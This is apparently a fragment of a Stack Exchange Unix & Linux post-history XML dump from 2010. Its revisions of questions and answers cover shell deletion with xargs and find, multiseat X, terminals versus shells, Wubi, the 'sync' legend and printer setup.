`$1` begins with a `-` and so would otherwise be treated as an option to the shell). There are two approaches here: either have the shell loop over its arguments, or tell xargs to pass a single argument to each shell invocation.&#xD;&#xA;&#xD;&#xA;    … | xargs -I {} sudo sh -c 'for x; do rm -rf -- &quot;$x&quot;/* &quot;$x&quot;/.[^.]* &quot;$x&quot;/..?*; done' _ {}&#xD;&#xA;    … | xargs -I {} -n 1 sudo sh -c 'rm -rf -- &quot;$1&quot;/* &quot;$1&quot;/.[^.]* &quot;$1&quot;/..?*' _ {}&#xD;&#xA;&#xD;&#xA;I'm assuming that `ls -d a*` is a toy example and that you have a more complex command that produces one file name per line. Note that `ls -d a*` would *not* work there, as most `ls` implementations do not output nonprintable characters transparently. If the `…` is a find command, use `-exec`, as in&#xD;&#xA;&#xD;&#xA;    find a* -exec sh -c 'rm -rf -- &quot;$1&quot;/* &quot;$1&quot;/.[^.]* &quot;$1&quot;/..?*' _ {} \; -prune&#xD;&#xA;" />
  <row Id="11657" PostHistoryTypeId="2" PostId="5251" RevisionGUID="e5211f78-9d72-46a7-85b2-5a0c7320862f" CreationDate="2010-12-30T16:26:05.370" UserId="863" Text="Since modern PCs can use two screens at the same time I wonder if it is possible to plug in two keyboards and mouses as well to have the two screens run two (more or less) independent X-sessions at once?" />
  <row Id="11658" PostHistoryTypeId="1" PostId="5251" RevisionGUID="e5211f78-9d72-46a7-85b2-5a0c7320862f" CreationDate="2010-12-30T16:26:05.370" UserId="863" Text="Can one PC be used by two users at the same time via dual-monitor?" />
  <row Id="11659" PostHistoryTypeId="3" PostId="5251" RevisionGUID="e5211f78-9d72-46a7-85b2-5a0c7320862f" CreationDate="2010-12-30T16:26:05.370" UserId="863" Text="éusersàédualömonitorà" />
  <row Id="11660" PostHistoryTypeId="5" PostId="5235" RevisionGUID="384604e6-0d1b-44ec-bebd-447df3ff0a06" CreationDate="2010-12-30T16:29:49.263" UserId="863" Comment="added 172 characters in body" Text="I have one weak PC (client) but with acceptable 3D performance, and one strong PC (server) which should be capable of running an application using OpenGL twice, i.e. once locally and once remotely for the client. Currently, I `ssh -X` into it, but the client's console output states software rendering is used and I only get 3 frames per second (fps). Actually, ssh's encryption is not necessary since this is on a LAN, but it's what I already know for remote applications...&#xD;&#xA;&#xD;&#xA;So, how can the client performance be increased? My ideas are&#xD;&#xA;&#xD;&#xA;- use hardware acceleration, but the server's or the client's one and how?&#xD;&#xA;- use something different than ssh&#xD;&#xA;&#xD;&#xA;I know, in full resolution and without sophisticated compression a 100 Mbit/s LAN won't make more fps, but it's a windowed application of ca. 800x450, so theoretically up to 12 fps (at 24 bits/pixel) should be possible using uncompressed graphical data. And maybe something better is possible using the client's own GPU or some smart compression.&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;**edit** Turns out what I want is basically a local version of what e.g. [onlive](http://www.onlive.com) and [gaikai](http://www.gaikai.com/) offers. Is there something like this for Linux (and possibly free)?&#xD;&#xA;&#xD;&#xA;--&#xD;&#xA;&#xD;&#xA;**edit2** VirtualGL looks like the best solution (though currently not working for me), but I wonder if it is possible to do hardware rendering on the client, too" />
  <row Id="11661" PostHistoryTypeId="2" PostId="5252" RevisionGUID="7fef1e8d-53c4-4756-b43f-ae8eb7fb92e9" CreationDate="2010-12-30T16:42:05.070" UserId="2150" Text="In learning some assembly programming I have found the documents of the Linux Standard Base very useful.  It seems they tell me how things are supposed to be (on standard based systems), not just how they are in the implementation I have in front of me.  On the [wikipedia article](http://en.wikipedia.org/wiki/Linux_Standards_Base) there are two 2005 articles linked that suggest there is contention around this standard.  2005 is a long time ago, what is the current view?&#xD;&#xA;&#xD;&#xA;(Note: just this year the linux foundation certified many distributions for LSB 4.0, so they are still in the game working with some distributions.  Their press release of course does not mention any possible contention around it.)" />
  <row Id="11662" PostHistoryTypeId="1" PostId="5252" RevisionGUID="7fef1e8d-53c4-4756-b43f-ae8eb7fb92e9" CreationDate="2010-12-30T16:42:05.070" UserId="2150" Text="What is the state of the Linux Standard Base?" />
  <row Id="11663" PostHistoryTypeId="3" PostId="5252" RevisionGUID="7fef1e8d-53c4-4756-b43f-ae8eb7fb92e9" CreationDate="2010-12-30T16:42:05.070" UserId="2150" Text="élinuxà" />
  <row Id="11664" PostHistoryTypeId="2" PostId="5253" RevisionGUID="f8ec7693-c019-44be-a61d-ae59af3c761d" CreationDate="2010-12-30T17:11:01.583" UserId="1510" Text="So, I've installed KDE in Arch Linux using the `kde` package, as well as `phonon-xine` from pacman. Maybe it's because I had GNOME before, maybe it's because I did something wrong, but when I log in from KDM, all I get is a small white terminal in the bottom right corner.&#xD;&#xA;&#xD;&#xA;Now, from this terminal, I can launch `plasma-desktop`, and from the actual launcher I can get a konsole session open, and then I can start KWin or compiz and KDE4-Window-Decorator and have a usable desktop environment.&#xD;&#xA;&#xD;&#xA;I don't think this is expected behavior, though. How do I get it to launch all this stuff properly (and anything else I'm forgetting) when I log in from KDM?&#xD;&#xA;&#xD;&#xA;Also, since I've installed KDE, GNOME is all messed up - but one thing at a time, and if I like KDE enough I'll uninstall GNOME anyway." />
  <row Id="11665" PostHistoryTypeId="1" PostId="5253" RevisionGUID="f8ec7693-c019-44be-a61d-ae59af3c761d" CreationDate="2010-12-30T17:11:01.583" UserId="1510" Text="KDE starting without anything else (no panels, no window manager/decorator)" />
  <row Id="11666" PostHistoryTypeId="3" PostId="5253" RevisionGUID="f8ec7693-c019-44be-a61d-ae59af3c761d" CreationDate="2010-12-30T17:11:01.583" UserId="1510" Text="ékdeàéarchölinuxàéplasmaà" />
  <row Id="11667" PostHistoryTypeId="5" PostId="4132" RevisionGUID="3497c2a2-306f-4cdc-9050-d55f04ed06f2" CreationDate="2010-12-30T17:46:11.247" UserId="885" Comment="added a section on the division of labor between the terminal and the shell; added 2 characters in body" Text="A terminal is at the end of an electric wire, a shell is the home of a turtle, tty is a strange abbreviation and a console is a kind of cabinet.&#xD;&#xA;&#xD;&#xA;Well, etymologically speaking, anyway.&#xD;&#xA;&#xD;&#xA;In unix terminology, the short answer is that&#xD;&#xA;&#xD;&#xA;* terminal = tty = text input/output environment&#xD;&#xA;* console = physical terminal&#xD;&#xA;* shell = command line interpreter&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Console, terminal and tty are closely related. Originally, they meant a piece of equipment through which you could interact with a computer: in the early days of unix, that meant a [teleprinter](http://en.wikipedia.org/wiki/Teleprinter)-style device resembling a typewriter, sometimes called a teletypewriter, or “tty” in shorthand. The name “terminal” came from the electronic point of view, and the name “console” from the furniture point of view. Very early in unix history, electronic keyboards and displays became the norm for terminals.&#xD;&#xA;&#xD;&#xA;In unix terminology, a **tty** is a particular kind of [device file](http://en.wikipedia.org/wiki/Device_file) which implements a number of additional commands ([ioctls](http://en.wikipedia.org/wiki/Ioctl#Terminals)) beyond read and write. In its most common meaning, **terminal** is synonymous with tty. Some ttys are provided by the kernel on behalf of a hardware device, for example with the input coming from the keyboard and the output going to a text mode screen, or with the input and output transmitted over a serial line. Other ttys, sometimes called **pseudo-ttys**, are provided (through a thin kernel layer) by programs called [**terminal emulators**](http://en.wikipedia.org/wiki/Terminal_emulator), such as [Xterm](http://en.wikipedia.org/wiki/Xterm) (running in the [X Window System](http://en.wikipedia.org/wiki/X_Window_System)), [Screen](http://en.wikipedia.org/wiki/Gnu_screen) (which provides a layer of isolation between a program and another terminal), [Ssh](http://en.wikipedia.org/wiki/Secure_shell) (which connects a terminal on one machine with programs on another machine), [Expect](http://en.wikipedia.org/wiki/Expect) (for scripting terminal interactions), etc.&#xD;&#xA;&#xD;&#xA;The word terminal can also have a more traditional meaning of a device through which one interacts with a computer, typically with a keyboard and display. For example an X terminal is a kind of [thin client](http://en.wikipedia.org/wiki/Thin_client), a special-purpose computer whose only purpose is to drive a keyboard, display, mouse and occasionally other human interaction peripherals, with the actual applications running on another, more powerful computer.&#xD;&#xA;&#xD;&#xA;A **console** is generally a terminal in the physical sense that is by some definition the primary terminal directly connected to a machine. The console appears to the operating system as a (kernel-implemented) tty. On some systems, such as Linux and FreeBSD, the console appears as several ttys (special key combinations switch between these ttys); just to confuse matters, the name given to each particular tty can be “console”, ”virtual console”, ”virtual terminal”, and other variations.&#xD;&#xA;&#xD;&#xA;See also [Why is a Virtual Terminal “virtual”, and what/why/where is the “real” Terminal?](http://askubuntu.com/q/14284/1059).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;A [**shell**](http://en.wikipedia.org/wiki/Shell_%28computing%29) is the primary interface that users see when they log in, whose primary purpose is to start other programs. (I don't know whether the original metaphor is that the shell is the home environment for the user, or that the shell is what other programs are running in.)&#xD;&#xA;&#xD;&#xA;In unix circles, **shell** has specialized to mean a [command-line shell](http://en.wikipedia.org/wiki/Shell_%28computing%29#Text_.28CLI.29_shells), centered around entering the name of the application one wants to start, followed by the names of files or other objects that the application should act on, and pressing the Enter key. Other types of environments don't use the word “shell”; for example, window systems involve “[window managers](http://en.wikipedia.org/wiki/Window_manager)” and “[desktop environments](http://en.wikipedia.org/wiki/Desktop_environment)”, not a “shell”.&#xD;&#xA;&#xD;&#xA;There are many different unix shells, but the most common ones have a common syntax based on the [Bourne_shell](http://en.wikipedia.org/wiki/Bourne_shell). When discussing “**shell programming**”, the shell is almost always implied to be a Bourne-style shell.&#xD;&#xA;&#xD;&#xA;In unix system administration, a user's **shell** is the program that is invoked when they log in. Normal user accounts have a command-line shell, but users with restricted access may have a [restricted shell](http://en.wikipedia.org/wiki/Restricted_shell) or some other specific command (e.g. for file-transfer-only accounts).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;The division of labor between the terminal and the shell is not completely obvious. Here are their main tasks.&#xD;&#xA;&#xD;&#xA;* Input: the terminal converts keys into control sequences (e.g. &lt;kbd&gt;Left&lt;/kbd&gt; → `\e[D`). The shell converts control sequences into commands (e.g. `\e[D` → `backward-char`).&#xD;&#xA;* Line edition, input history and completion are provided by the shell.&#xD;&#xA;    * The terminal may provide its own line edition, history and completion instead, and only send a line to the shell when it's ready to be executed. The only common terminal that operates in this way is `M-x shell` in Emacs.&#xD;&#xA;* Output: the shell emits instructions such as “display `foo`”, “switch the foreground color to green”, “move the cursor to the next line”, etc. The terminal acts on these instructions.&#xD;&#xA;* The prompt is purely a shell concept.&#xD;&#xA;* The shell never sees the output of the commands it runs (unless redirected). Output history (scrollback) is purely a terminal concept.&#xD;&#xA;* Inter-application copy-paste is provided by the terminal (usually with the mouse or key sequences such as &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;V&lt;/kbd&gt; or &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Insert&lt;/kbd&gt;). The shell may have its own internal copy-paste mechanism as well (e.g. &lt;kbd&gt;Meta&lt;/kbd&gt;+&lt;kbd&gt;W&lt;/kbd&gt; and &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Y&lt;/kbd&gt;).&#xD;&#xA;" />
  <row Id="11668" PostHistoryTypeId="2" PostId="5254" RevisionGUID="df139897-2412-4df4-8a81-ad993cfefcf5" CreationDate="2010-12-30T18:33:07.543" UserId="481" Text="When you log in using KDM, there's a menu called &quot;session type&quot;, which you can use to choose which window manager or desktop environment to start.&#xD;&#xA;&#xD;&#xA;It sounds like in your case the &quot;xterm session&quot; or &quot;fallback session&quot; is selected. If you select KDE instead, it should start up correctly." />
  <row Id="11669" PostHistoryTypeId="6" PostId="5253" RevisionGUID="3773089a-5f4e-43d1-87ec-cb4760178628" CreationDate="2010-12-30T18:37:22.890" UserId="885" Comment="edited tags" Text="ékdeàéarchölinuxàéplasmaàékdmà" />
  <row Id="11670" PostHistoryTypeId="6" PostId="5252" RevisionGUID="b4f5d8f2-d88d-490c-8573-9324034b31bc" CreationDate="2010-12-30T18:44:30.063" UserId="885" Comment="edited tags" Text="élinuxàélinuxöstandardöbaseà" />
  <row Id="11671" PostHistoryTypeId="2" PostId="5255" RevisionGUID="504eabd7-a655-4a1f-83e4-7e8a390400f1" CreationDate="2010-12-30T19:00:01.840" UserId="1207" Text="In short, yes, this is possible.  The relevant search string you are looking for is Multi-seat X.  &#xD;&#xA;&#xD;&#xA;The [ubuntu wiki][1], [gentoo wiki][2], and [arch wiki][3] all have articles related to multi seat X.  A number of other articles can be found on the [Xorg Wiki page on mutliseat][4] and even more can be found on google.&#xD;&#xA;&#xD;&#xA;From what I can tell from these articles, there are two ways to do this: &#xD;&#xA;&#xD;&#xA; - Multiple X servers, or&#xD;&#xA; - Using Xepher on top of Xorg.&#xD;&#xA;&#xD;&#xA;Which of these methods will work for you will depend on the version of Xorg you are running and your hardware.  Multiple X servers seem to be the easier route if your hardware setup supports it.  There is also work to be done with the display manager, sound server, and other components--much of which is covered in the various articles linked above.&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/MultiseatX&#xD;&#xA;  [2]: http://www.gentoo-wiki.info/HOWTO_Multiseat_X&#xD;&#xA;  [3]: https://wiki.archlinux.org/index.php/Xorg_multiseat&#xD;&#xA;  [4]: http://www.x.org/wiki/Development/Documentation/Multiseat" />
  <row Id="11673" PostHistoryTypeId="5" PostId="5255" RevisionGUID="0bb23c43-79b3-4eba-a3aa-04046628ab8a" CreationDate="2010-12-30T19:09:09.923" UserId="1207" Comment="edited body" Text="In short, yes, this is possible.  The relevant search string you are looking for is Multi-seat X.  &#xD;&#xA;&#xD;&#xA;The [Ubuntu wiki][1], [Gentoo wiki][2], and [Arch wiki][3] all have articles related to multi seat X.  A number of other articles can be found on the [Xorg wiki page on multiseat][4] and even more can be found on google.&#xD;&#xA;&#xD;&#xA;From what I can tell from these articles, there are two ways to do this: &#xD;&#xA;&#xD;&#xA; - Multiple X servers, or&#xD;&#xA; - Using Xepher on top of Xorg.&#xD;&#xA;&#xD;&#xA;Which of these methods will work for you will depend on the version of Xorg you are running and your hardware.  Multiple X servers seem to be the easier route if your hardware setup supports it.  There is also work to be done with the display manager, sound server, and other components--much of which is covered in the various articles linked above.&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/MultiseatX&#xD;&#xA;  [2]: http://www.gentoo-wiki.info/HOWTO_Multiseat_X&#xD;&#xA;  [3]: https://wiki.archlinux.org/index.php/Xorg_multiseat&#xD;&#xA;  [4]: http://www.x.org/wiki/Development/Documentation/Multiseat" />
  <row Id="11674" PostHistoryTypeId="5" PostId="5255" RevisionGUID="d02af37a-3996-4d7f-aa0e-52d277ee6e5a" CreationDate="2010-12-30T19:13:41.953" UserId="885" Comment="merged in my simultaneous answer as it was 90% identical" Text="In short, yes, this is possible.  The relevant search string you are looking for is Multi-seat X.  &#xD;&#xA;&#xD;&#xA;The [Ubuntu wiki][1], [Gentoo wiki][2], [Debian wiki][3] and [Arch wiki][4] all have articles related to multi seat X.  A number of other articles can be found on the [Xorg wiki page on multiseat][5] and even more can be found on google.&#xD;&#xA;&#xD;&#xA;From what I can tell from these articles, there are two ways to do this: &#xD;&#xA;&#xD;&#xA; - Multiple X servers, or&#xD;&#xA; - Using Xepher on top of Xorg.&#xD;&#xA;&#xD;&#xA;Which of these methods will work for you will depend on the version of Xorg you are running and your hardware.  Multiple X servers seem to be the easier route if your hardware setup supports it.  There is also work to be done with the display manager, sound server, and other components--much of which is covered in the various articles linked above.&#xD;&#xA;&#xD;&#xA;Additionally, there is a [multiseat display manager (MDM)](http://wiki.c3sl.ufpr.br/multiseat/index.php/Mdm) to automate these configurations. It's not yet integreated in most distributions, though (the `mdm` package in Ubuntu is a homonym).&#xD;&#xA;&#xD;&#xA;  [1]: https://help.ubuntu.com/community/MultiseatX&#xD;&#xA;  [2]: http://www.gentoo-wiki.info/HOWTO_Multiseat_X&#xD;&#xA;  [3]: https://wiki.archlinux.org/index.php/Xorg_multiseat&#xD;&#xA;  [4]: http://wiki.debian.org/Multi_Seat_Debian_HOWTO&#xD;&#xA;  [5]: http://www.x.org/wiki/Development/Documentation/Multiseat&#xD;&#xA;  [6]: http://wiki.c3sl.ufpr.br/multiseat/index.php/Mdm&#xD;&#xA;" />
  <row Id="11676" PostHistoryTypeId="2" PostId="5257" RevisionGUID="46b2a465-d445-4933-b21f-7b4d4ade8cc8" CreationDate="2010-12-30T19:20:01.313" UserId="2339" Text="When I install a port, I am often presented with a menu screen to select configuration options. If I'm going to install a really big package with lots of dependencies, that will be extremely inconvenient. Is there a make flag for accepting the default answers for all such prompts?" />
  <row Id="11677" PostHistoryTypeId="1" PostId="5257" RevisionGUID="46b2a465-d445-4933-b21f-7b4d4ade8cc8" CreationDate="2010-12-30T19:20:01.313" UserId="2339" Text="How can I avoid the prompts when installing a FreeBSD port?" />
  <row Id="11678" PostHistoryTypeId="3" PostId="5257" RevisionGUID="46b2a465-d445-4933-b21f-7b4d4ade8cc8" CreationDate="2010-12-30T19:20:01.313" UserId="2339" Text="éfreebsdàéportsà" />
  <row Id="11679" PostHistoryTypeId="2" PostId="5258" RevisionGUID="820c9e04-8a09-4436-83dd-55d1155b08e0" CreationDate="2010-12-30T19:21:22.340" UserId="3235" Text="Do you have experience using [Wubi][1] and if so, what are the major pros and cons ? I am of course particularly interested in potential problems.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.ubuntu.com/desktop/get-ubuntu/windows-installer" />
  <row Id="11680" PostHistoryTypeId="1" PostId="5258" RevisionGUID="820c9e04-8a09-4436-83dd-55d1155b08e0" CreationDate="2010-12-30T19:21:22.340" UserId="3235" Text="wubi pros and cons" />
  <row Id="11681" PostHistoryTypeId="3" PostId="5258" RevisionGUID="820c9e04-8a09-4436-83dd-55d1155b08e0" CreationDate="2010-12-30T19:21:22.340" UserId="3235" Text="éubuntuàéwindowsàédualöbootà" />
  <row Id="11682" PostHistoryTypeId="2" PostId="5259" RevisionGUID="8234f7d5-5e0d-4511-905a-48a05e427d1c" CreationDate="2010-12-30T20:05:15.440" UserId="885" Text="Pro: if a computer needs to have Linux installed temporarily, Wubi is easier to remove without leaving obvious traces. Without Wubi, you need to re-enlarge the Windows partition and restore the Windows bootloader. With Wubi, you just use the supplied uninstaller. You can even temporarily hide the Ubuntu entry from the Windows bootloader.&#xD;&#xA;&#xD;&#xA;Pro: For someone who wants to try out Linux but is afraid of harming Windows, Wubi is less scary.&#xD;&#xA;&#xD;&#xA;Con: Suppose a user has a computer with Wubi, has upgraded something but isn't sure what, is thousands of kilometers away, and phones you because his computer won't get past the bootloader stage. What next? There are far fewer resources about troubleshooting Wubi than with traditional Grub-based dual boot.&#xD;&#xA;&#xD;&#xA;Con: Increasing the size of the Wubi partition image wasn't supported last time I looked.&#xD;&#xA;&#xD;&#xA;Con: Wubi induces a small performance loss. (But if you're even considering Wubi, you probably don't care.)&#xD;&#xA;&#xD;&#xA;Con: If Windows screws up its filesystem, you lose Linux as well. (Though I get the feeling NTFS is reliable these days.)&#xD;&#xA;" />
  <row Id="11683" PostHistoryTypeId="6" PostId="5258" RevisionGUID="c27496ed-e285-4fe7-81ae-13b80bedefe1" CreationDate="2010-12-30T20:05:32.600" UserId="885" Comment="edited tags" Text="éubuntuàéwindowsàédualöbootàéwubià" />
  <row Id="11684" PostHistoryTypeId="5" PostId="5250" RevisionGUID="cf6654de-f02d-494c-bc02-3a773b3b3563" CreationDate="2010-12-30T21:46:22.030" UserId="885" Comment="fixed syntax of character set complement pattern" Text="*(**Warning**: I haven't tested any of these commands. There may be typos or errors. Try everything with `echo` or `ls` and no `sudo` first.)*&#xD;&#xA;&#xD;&#xA;General advice: `xargs` is rarely the simplest way to do something. Without `-i` (which is deprecated by the way, use the portable `-I {}` instead), `xargs` expects an input format that no standard or common tool produces. With `-I`, `xargs` does have some use, though if you're piping `find` into it, `find -exec` is simpler.&#xD;&#xA;&#xD;&#xA;You need a shell to expand `{}/*`, and that shell must act after `{}` has been replaced by one actual path. A simple solution is to do the line-by-line processing in the shell. Note the use of three patterns to capture all the files in a directory as `*` omits dot files; it doesn't matter if some of the patterns don't match any file, as `rm -f` ignores any argument that doesn't reference an existing file.&#xD;&#xA;&#xD;&#xA;    … |&#xD;&#xA;    while read -r line; do&#xD;&#xA;      sudo rm -rf -- &quot;$line&quot;/* &quot;$line&quot;/.[!.]* &quot;$line&quot;/..?*&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;Xargs is no use here since you have to process the files one by one anyway at some point, in order to get the shell to perform the globbing. As the general technique can be useful however, here's a way to feed file names back into a shell from xargs. The `_` is the `$0` argument to the shell (it's there in part not to have to bother to stick `$0` back onto any subsequent argument, and to ensure that everything works even if `$1` begins with a `-` and so would otherwise be treated as an option to the shell). There are two approaches here: either have the shell loop over its arguments, or tell xargs to pass a single argument to each shell invocation.&#xD;&#xA;&#xD;&#xA;    … | xargs -I {} sudo sh -c 'for x; do rm -rf -- &quot;$x&quot;/* &quot;$x&quot;/.[!.]* &quot;$x&quot;/..?*; done' _ {}&#xD;&#xA;    … | xargs -I {} -n 1 sudo sh -c 'rm -rf -- &quot;$1&quot;/* &quot;$1&quot;/.[!.]* &quot;$1&quot;/..?*' _ {}&#xD;&#xA;&#xD;&#xA;I'm assuming that `ls -d a*` is a toy example and that you have a more complex command that produces one file name per line. Note that `ls -d a*` would *not* work there, as most `ls` implementations do not output nonprintable characters transparently. If the `…` is a find command, use `-exec`, as in&#xD;&#xA;&#xD;&#xA;    find a* -exec sh -c 'rm -rf -- &quot;$1&quot;/* &quot;$1&quot;/.[!.]* &quot;$1&quot;/..?*' _ {} \; -prune&#xD;&#xA;" />
  <row Id="11685" PostHistoryTypeId="2" PostId="5260" RevisionGUID="11fb3888-26f6-4014-b678-c83e9664e6ea" CreationDate="2010-12-30T22:07:35.140" UserId="1974" Text="When I was first introduced to Linux, working at Cisco Systems in 2000, I was taught the merits of the `sync` command, used to flush buffers to disk to prevent filesystem corruption / data loss. I was told not only by coworkers there, but by friends in college to always run `sync` &quot;a few&quot; or &quot;a bunch&quot; of times, that is, maybe 5 - 10 times, instead of just once.&#xD;&#xA;&#xD;&#xA;I've continued this habit ever since, but, is there any merit to this? Has anyone else ever heard this? And most importantly, can anyone provide good rationale / empirical evidence for/against the idea that you need to run `sync` more than once for it to be effective?" />
  <row Id="11686" PostHistoryTypeId="1" PostId="5260" RevisionGUID="11fb3888-26f6-4014-b678-c83e9664e6ea" CreationDate="2010-12-30T22:07:35.140" UserId="1974" Text="Is there truth to the philosophy that you should sync; sync; sync; sync?" />
  <row Id="11687" PostHistoryTypeId="3" PostId="5260" RevisionGUID="11fb3888-26f6-4014-b678-c83e9664e6ea" CreationDate="2010-12-30T22:07:35.140" UserId="1974" Text="ésyncàébufferàémythsà" />
  <row Id="11688" PostHistoryTypeId="2" PostId="5261" RevisionGUID="bdb54c91-5dfe-4975-ad63-b5e6f67f7214" CreationDate="2010-12-30T22:33:32.613" UserId="885" Text="I heard it (sorry, I forget where) as typing the `sync` command three times (as in: &lt;kbd&gt;S&lt;/kbd&gt; &lt;kbd&gt;Y&lt;/kbd&gt; &lt;kbd&gt;N&lt;/kbd&gt; &lt;kbd&gt;C&lt;/kbd&gt; &lt;kbd&gt;Return&lt;/kbd&gt;, wait for the prompt, repeat, repeat). I also read that the origin was a particular system where it would take a couple of seconds for the disk to finish flushing its buffers, even after it had told the operating system everything was fine. Typing the command twice more gave the disk enough time to settle. It seems that over the years, the purpose was forgotten, and the advice was abbreviated as `sync; sync; sync` which wouldn't have had the desired effect (since the disk had reported the “all clear”, the second and third syncs would complete instantly and the prompt would come back too early).&#xD;&#xA;&#xD;&#xA;I have never heard of a system where multiple `sync` operations have any use, and I am highly skeptical any exist. I consider this an urban legend. On the other hand, I find it highly believable that there would be systems where you should wait a couple of seconds after sync'ing and before powering down.&#xD;&#xA;&#xD;&#xA;Googling leads to a few independent concurring analyses, e.g. [The Legend of sync](http://utcc.utoronto.ca/~cks/space/blog/unix/TheLegendOfSync). See also [Is execution of sync(8) still required before shutting down linux?](http://serverfault.com/q/115069/48279).&#xD;&#xA;" />
  <row Id="11689" PostHistoryTypeId="2" PostId="5262" RevisionGUID="5b602317-3c64-4ae3-a557-2ed7af46eb41" CreationDate="2010-12-30T23:22:30.037" UserId="3378" Text="Hello!  &#xD;&#xA;I am using debian which is similar to ubuntu.  &#xD;&#xA;They have 7 dot matrix printers some very old like this one&#xD;&#xA;http://www.omnidatasys.net/product/desc_printer_ti880.htm&#xD;&#xA;which works from 1979 daily and at text is faster than many inkjects.&#xD;&#xA;&#xD;&#xA;I believe that it has his own language... &#xD;&#xA;Sending text to serial port (port server) prints garbage. However i think is prints only capital english up to 95 asccii and greek and the rest up to 127 i think greek capital.(special chip )  &#xD;&#xA;&#xD;&#xA;Sending english capital letters prints garbage i think but i amnt sure... i will try again...&#xD;&#xA;&#xD;&#xA;The other printer are ESC/P compatible and i use generic epson driver provided from ghostscript... However i think that sending text via &#xD;&#xA;&#xD;&#xA;    lp -dpr1 filename&#xD;&#xA;&#xD;&#xA;It prints the text as a grafic...Changing from printer font face(courier,times roman etc) or pitch has no effect...   &#xD;&#xA;I am wondering if is there any work arround for this? In AIX they claim that lp command printed output as text as it prints and cobol programs send raw text to to lp printers .  &#xD;&#xA;However in AIX they use some custom filters for the printers and has  more options for dot matrix printers..  &#xD;&#xA;&#xD;&#xA;I would like to know if there is a solution for this.. To avoid graphics mode for text and change font face somehow.. &#xD;&#xA;The most Straight-through approach would be to use no driver ,just send ESC/P from cobol but this requires too much work...&#xD;&#xA;Thank you again!&#xD;&#xA;" />
  <row Id="11690" PostHistoryTypeId="1" PostId="5262" RevisionGUID="5b602317-3c64-4ae3-a557-2ed7af46eb41" CreationDate="2010-12-30T23:22:30.037" UserId="3378" Text="Dot Matrix printers setup..." />
  <row Id="11691" PostHistoryTypeId="3" PostId="5262" RevisionGUID="5b602317-3c64-4ae3-a557-2ed7af46eb41" CreationDate="2010-12-30T23:22:30.037" UserId="3378" Text="éprintingàécupsà" />
  <row Id="11692" PostHistoryTypeId="5" PostId="5259" RevisionGUID="ec34ecd3-ae37-4839-ad63-89963d921300" CreationDate="2010-12-30T23:35:08.247" UserId="885" Comment="added advice section" Text="### Pros&#xD;&#xA;&#xD;&#xA;* If a computer needs to have Linux installed temporarily, Wubi is easier to remove without leaving obvious traces. Without Wubi, you need to re-enlarge the Windows partition and restore the Windows bootloader. With Wubi, you just use the supplied uninstaller. You can even temporarily hide the Ubuntu entry from the Windows bootloader.&#xD;&#xA;&#xD;&#xA;* For someone who wants to try out Linux but is afraid of harming Windows, Wubi is less scary.&#xD;&#xA;&#xD;&#xA;### Cons&#xD;&#xA;&#xD;&#xA;* Suppose a user has a computer with Wubi, has upgraded something but isn't sure what, is thousands of kilometers away, and phones you because his computer won't get past the bootloader stage. What next? There are far fewer resources about troubleshooting Wubi than with traditional Grub-based dual boot.&#xD;&#xA;&#xD;&#xA;* Similarly, if you need to troubleshooting or rescue the system with a live CD, Wubi reduces your options.&#xD;&#xA;&#xD;&#xA;* Increasing the size of the Wubi partition image wasn't supported last time I looked.&#xD;&#xA;&#xD;&#xA;* Wubi induces a small performance loss. (But if you're even considering Wubi, you probably don't care.)&#xD;&#xA;&#xD;&#xA;* If Windows screws up its filesystem, you lose Linux as well. (Though I get the feeling NTFS is reliable these days.)&#xD;&#xA;&#xD;&#xA;### My advice&#xD;&#xA;&#xD;&#xA;Only use Wubi if you have a compelling reason.&#xD;&#xA;&#xD;&#xA;If you're new to Linux and aren't sure you want to keep it, you can go ahead and use Wubi. But consider this a temporary installation, don't invest into it. If you find you want to start customizing things, or if you run into any technical problem, throw the Wubi installation away and start over a proper partition. It won't harm your Windows partition (in fact, it will affect your Windows installation even less than Wubi).&#xD;&#xA;&#xD;&#xA;If you have a specific concealment requirement for political reasons (“we don't want no stinkin' Linux on our network”), Wubi is viable, but not necessarily hassle-free.&#xD;&#xA;&#xD;&#xA;Note that for hesitant or discreet installations, an alternative in some use cases is to run Linux in a virtual machine: either [coLinux](http://www.colinux.org) (a virtualized Linux running on Windows), for example with [andLinux](http://www.andlinux.org/) (Ubuntu on coLinux); or a more general VM technology such as [VirtualBox](http://www.virtualbox.org/) or [VMWare](http://www.vmware.com/).&#xD;&#xA;" />
  <row Id="11693" PostHistoryTypeId="5" PostId="5218" RevisionGUID="3f141ebb-fd74-41ad-9866-51582040a72f" CreationDate="2010-12-31T00:01:03.073" UserId="444" Comment="Added kernel module info" Text="I have a IR reciver that is using the imon-driver and i would like to get it working with the kernel. Right now half of the keys on the remote ([image][1]) works, but an all important think like the numeric keys doesnt!&#xD;&#xA;&#xD;&#xA;The weird think is that the kernel keymap module (rc-imon-pad) seems to be correct but it seems that it is not really used since excatly the same keys are working without that module.&#xD;&#xA;&#xD;&#xA;**EDIT:** It seems that the rc-imon-pad module always gets loaded when i load imon, and then i suspect that the keycodes are cached so it doesnt make a difference if i unload rc-imon-pad&#xD;&#xA;&#xD;&#xA;Now i am lost, if i do `cat /dev/input/event5` or `ir-keytable -t` there is data no matter what key i press, so the driver registers the buttons but it just seems that they are translated to the wrong keycodes.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;My kernels is an ubuntu stock kernel from Natty (Linux xbmc 2.6.37-11-generic #25-Ubuntu SMP Tue Dec 21 23:42:56 UTC 2010 x86_64 GNU/Linux)&#xD;&#xA;&#xD;&#xA;  [1]: http://farm3.static.flickr.com/2433/3888666519_7e06d90f26_o.jpg" />
